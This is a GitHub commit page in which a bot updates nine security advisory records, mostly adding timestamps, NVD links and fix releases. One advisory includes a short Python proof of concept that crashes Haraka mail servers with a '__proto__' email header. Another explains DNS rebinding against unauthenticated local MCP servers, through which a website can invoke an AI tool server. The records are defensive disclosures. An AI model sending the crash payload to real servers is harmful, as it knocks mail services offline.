Skip to content

Commit 4370b83

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-247x-7qw8-fp98 GHSA-6gm8-3g4h-w82m GHSA-85v3-4m8g-hrh6 GHSA-hgjq-p8cr-gg4h GHSA-jgfx-74g2-9r6g GHSA-vx58-fwwq-5g8j GHSA-xph3-r2jf-4vp3 GHSA-xw45-cc32-442f GHSA-xw59-hvm2-8pj6
1 parent 2e23d81 commit 4370b83

9 files changed

Lines changed: 109 additions & 39 deletions

File tree

‎advisories/github-reviewed/2026/03/GHSA-247x-7qw8-fp98/GHSA-247x-7qw8-fp98.json‎

Lines changed: 1 addition & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-247x-7qw8-fp98",
4-
"modified": "2026-03-31T05:17:35Z",
4+
"modified": "2026-04-06T17:31:46Z",
55
"published": "2026-03-25T18:31:52Z",
66
"aliases": [
77
"CVE-2026-26233"
@@ -89,28 +89,6 @@
8989
}
9090
]
9191
}
92-
],
93-
"database_specific": {
94-
"last_known_affected_version_range": "< 10.11.2"
95-
}
96-
},
97-
{
98-
"package": {
99-
"ecosystem": "Go",
100-
"name": "github.com/mattermost/mattermost-server"
101-
},
102-
"ranges": [
103-
{
104-
"type": "ECOSYSTEM",
105-
"events": [
106-
{
107-
"introduced": "8.0.0-20260105080200-d27a2195068d"
108-
},
109-
{
110-
"fixed": "8.0.0-20260217110922-b7d4a1f1f59b"
111-
}
112-
]
113-
}
11492
]
11593
}
11694
],

‎advisories/github-reviewed/2026/04/GHSA-6gm8-3g4h-w82m/GHSA-6gm8-3g4h-w82m.json‎

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-6gm8-3g4h-w82m",
4-
"modified": "2026-04-01T22:59:13Z",
4+
"modified": "2026-04-06T17:32:47Z",
55
"published": "2026-04-01T22:59:12Z",
66
"aliases": [
77
"CVE-2026-34761"
@@ -43,9 +43,17 @@
4343
"type": "WEB",
4444
"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-6gm8-3g4h-w82m"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34761"
49+
},
4650
{
4751
"type": "PACKAGE",
4852
"url": "https://github.com/ellanetworks/core"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/ellanetworks/core/releases/tag/v1.8.0"
4957
}
5058
],
5159
"database_specific": {
@@ -55,6 +63,6 @@
5563
"severity": "MODERATE",
5664
"github_reviewed": true,
5765
"github_reviewed_at": "2026-04-01T22:59:12Z",
58-
"nvd_published_at": null
66+
"nvd_published_at": "2026-04-02T20:16:25Z"
5967
}
6068
}

‎advisories/github-reviewed/2026/04/GHSA-85v3-4m8g-hrh6/GHSA-85v3-4m8g-hrh6.json‎

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-85v3-4m8g-hrh6",
4-
"modified": "2026-04-01T22:28:49Z",
4+
"modified": "2026-04-06T17:32:29Z",
55
"published": "2026-04-01T22:28:49Z",
66
"aliases": [
77
"CVE-2026-34726"
@@ -40,9 +40,21 @@
4040
"type": "WEB",
4141
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-85v3-4m8g-hrh6"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34726"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/copier-org/copier/commit/cb80a3ffc9c3787de3ed837e04ca29a0ff8ca3df"
50+
},
4351
{
4452
"type": "PACKAGE",
4553
"url": "https://github.com/copier-org/copier"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/copier-org/copier/releases/tag/v9.14.1"
4658
}
4759
],
4860
"database_specific": {
@@ -52,6 +64,6 @@
5264
"severity": "MODERATE",
5365
"github_reviewed": true,
5466
"github_reviewed_at": "2026-04-01T22:28:49Z",
55-
"nvd_published_at": null
67+
"nvd_published_at": "2026-04-02T19:21:32Z"
5668
}
5769
}

‎advisories/github-reviewed/2026/04/GHSA-hgjq-p8cr-gg4h/GHSA-hgjq-p8cr-gg4h.json‎

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-hgjq-p8cr-gg4h",
4-
"modified": "2026-04-01T22:38:39Z",
4+
"modified": "2026-04-06T17:32:36Z",
55
"published": "2026-04-01T22:38:39Z",
66
"aliases": [
77
"CVE-2026-34730"
@@ -43,9 +43,21 @@
4343
"type": "WEB",
4444
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34730"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/copier-org/copier/commit/5413062eb17b73dc885f5e645cdc161e69ef641b"
53+
},
4654
{
4755
"type": "PACKAGE",
4856
"url": "https://github.com/copier-org/copier"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/copier-org/copier/releases/tag/v9.14.1"
4961
}
5062
],
5163
"database_specific": {
@@ -55,6 +67,6 @@
5567
"severity": "MODERATE",
5668
"github_reviewed": true,
5769
"github_reviewed_at": "2026-04-01T22:38:39Z",
58-
"nvd_published_at": null
70+
"nvd_published_at": "2026-04-02T19:21:32Z"
5971
}
6072
}

‎advisories/github-reviewed/2026/04/GHSA-jgfx-74g2-9r6g/GHSA-jgfx-74g2-9r6g.json‎

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-jgfx-74g2-9r6g",
4-
"modified": "2026-04-01T20:58:48Z",
4+
"modified": "2026-04-06T17:32:15Z",
55
"published": "2026-04-01T20:58:48Z",
66
"aliases": [
77
"CVE-2026-34581"
@@ -37,9 +37,21 @@
3737
"type": "WEB",
3838
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g"
3939
},
40+
{
41+
"type": "ADVISORY",
42+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34581"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/patrickhener/goshs/commit/6fb224ed15c2ccc0c61a5ebe22f2401eb06e9216"
47+
},
4048
{
4149
"type": "PACKAGE",
4250
"url": "https://github.com/patrickhener/goshs"
51+
},
52+
{
53+
"type": "WEB",
54+
"url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2"
4355
}
4456
],
4557
"database_specific": {
@@ -49,6 +61,6 @@
4961
"severity": "HIGH",
5062
"github_reviewed": true,
5163
"github_reviewed_at": "2026-04-01T20:58:48Z",
52-
"nvd_published_at": null
64+
"nvd_published_at": "2026-04-02T19:21:32Z"
5365
}
5466
}

‎advisories/github-reviewed/2026/04/GHSA-vx58-fwwq-5g8j/GHSA-vx58-fwwq-5g8j.json‎

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vx58-fwwq-5g8j",
4-
"modified": "2026-04-01T23:44:37Z",
4+
"modified": "2026-04-06T17:32:57Z",
55
"published": "2026-04-01T23:44:37Z",
66
"aliases": [
77
"CVE-2026-34825"
@@ -43,13 +43,21 @@
4343
"type": "WEB",
4444
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-vx58-fwwq-5g8j"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34825"
49+
},
4650
{
4751
"type": "WEB",
4852
"url": "https://github.com/nocobase/nocobase/commit/75da3dddc4aba739c398f7072725dcf7f5487f5c"
4953
},
5054
{
5155
"type": "PACKAGE",
5256
"url": "https://github.com/nocobase/nocobase"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.30"
5361
}
5462
],
5563
"database_specific": {
@@ -59,6 +67,6 @@
5967
"severity": "HIGH",
6068
"github_reviewed": true,
6169
"github_reviewed_at": "2026-04-01T23:44:37Z",
62-
"nvd_published_at": null
70+
"nvd_published_at": "2026-04-02T20:16:26Z"
6371
}
6472
}

‎advisories/github-reviewed/2026/04/GHSA-xph3-r2jf-4vp3/GHSA-xph3-r2jf-4vp3.json‎

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-xph3-r2jf-4vp3",
4-
"modified": "2026-04-01T22:56:09Z",
4+
"modified": "2026-04-06T17:32:41Z",
55
"published": "2026-04-01T22:56:09Z",
66
"aliases": [
77
"CVE-2026-34752"
88
],
99
"summary": "Haraka affected by DoS via `__proto__` email header",
1010
"details": "### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n this.headers[key] ??= [] // line 216\n this.headers[key][method](value) // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) => {\n if (err.stack) {\n err.stack.split('\\n').forEach((line) => logger.crit(line))\n } else {\n logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n }\n logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:<x@x.com>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:<user@haraka.local>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
@@ -43,9 +47,17 @@
4347
"type": "WEB",
4448
"url": "https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"
4549
},
50+
{
51+
"type": "ADVISORY",
52+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34752"
53+
},
4654
{
4755
"type": "PACKAGE",
4856
"url": "https://github.com/haraka/Haraka"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/haraka/Haraka/releases/tag/v3.1.4"
4961
}
5062
],
5163
"database_specific": {
@@ -55,6 +67,6 @@
5567
"severity": "HIGH",
5668
"github_reviewed": true,
5769
"github_reviewed_at": "2026-04-01T22:56:09Z",
58-
"nvd_published_at": null
70+
"nvd_published_at": "2026-04-02T19:21:33Z"
5971
}
6072
}

‎advisories/github-reviewed/2026/04/GHSA-xw45-cc32-442f/GHSA-xw45-cc32-442f.json‎

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-xw45-cc32-442f",
4-
"modified": "2026-04-01T22:59:50Z",
4+
"modified": "2026-04-06T17:32:53Z",
55
"published": "2026-04-01T22:59:50Z",
66
"aliases": [
77
"CVE-2026-34762"
@@ -43,13 +43,21 @@
4343
"type": "WEB",
4444
"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-xw45-cc32-442f"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34762"
49+
},
4650
{
4751
"type": "WEB",
4852
"url": "https://github.com/ellanetworks/core/commit/7f64b7a7c7a22cb9c05ac2c1c3a0cf0eaefac3e5"
4953
},
5054
{
5155
"type": "PACKAGE",
5256
"url": "https://github.com/ellanetworks/core"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/ellanetworks/core/releases/tag/v1.8.0"
5361
}
5462
],
5563
"database_specific": {
@@ -59,6 +67,6 @@
5967
"severity": "LOW",
6068
"github_reviewed": true,
6169
"github_reviewed_at": "2026-04-01T22:59:50Z",
62-
"nvd_published_at": null
70+
"nvd_published_at": "2026-04-02T20:16:25Z"
6371
}
6472
}

‎advisories/github-reviewed/2026/04/GHSA-xw59-hvm2-8pj6/GHSA-xw59-hvm2-8pj6.json‎

Lines changed: 22 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-xw59-hvm2-8pj6",
4-
"modified": "2026-04-01T21:09:09Z",
4+
"modified": "2026-04-06T17:32:23Z",
55
"published": "2026-04-01T21:09:09Z",
66
"aliases": [
77
"CVE-2026-34742"
88
],
99
"summary": "DNS Rebinding Protection Disabled by Default in Model Context Protocol Go SDK for Servers Running on Localhost",
1010
"details": "The Model Context Protocol (MCP) Go SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with `StreamableHTTPHandler` or `SSEHandler`, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.\n\nNote that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.\n\nServers created via `StreamableHTTPHandler` or `SSEHandler` now have this protection enabled by default when binding to `localhost`. Users are advised to update to version `1.4.0` to receive this automatic protection.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
@@ -40,9 +44,25 @@
4044
"type": "WEB",
4145
"url": "https://github.com/modelcontextprotocol/go-sdk/security/advisories/GHSA-xw59-hvm2-8pj6"
4246
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34742"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/modelcontextprotocol/go-sdk/pull/760"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/modelcontextprotocol/go-sdk/commit/67bd3f2e2b53ce11a16db8d976cdb8ff1e986b6d"
58+
},
4359
{
4460
"type": "PACKAGE",
4561
"url": "https://github.com/modelcontextprotocol/go-sdk"
62+
},
63+
{
64+
"type": "WEB",
65+
"url": "https://github.com/modelcontextprotocol/go-sdk/releases/tag/v1.4.0"
4666
}
4767
],
4868
"database_specific": {
@@ -52,6 +72,6 @@
5272
"severity": "HIGH",
5373
"github_reviewed": true,
5474
"github_reviewed_at": "2026-04-01T21:09:09Z",
55-
"nvd_published_at": null
75+
"nvd_published_at": "2026-04-02T19:21:33Z"
5676
}
5777
}

0 commit comments

Comments
 (0)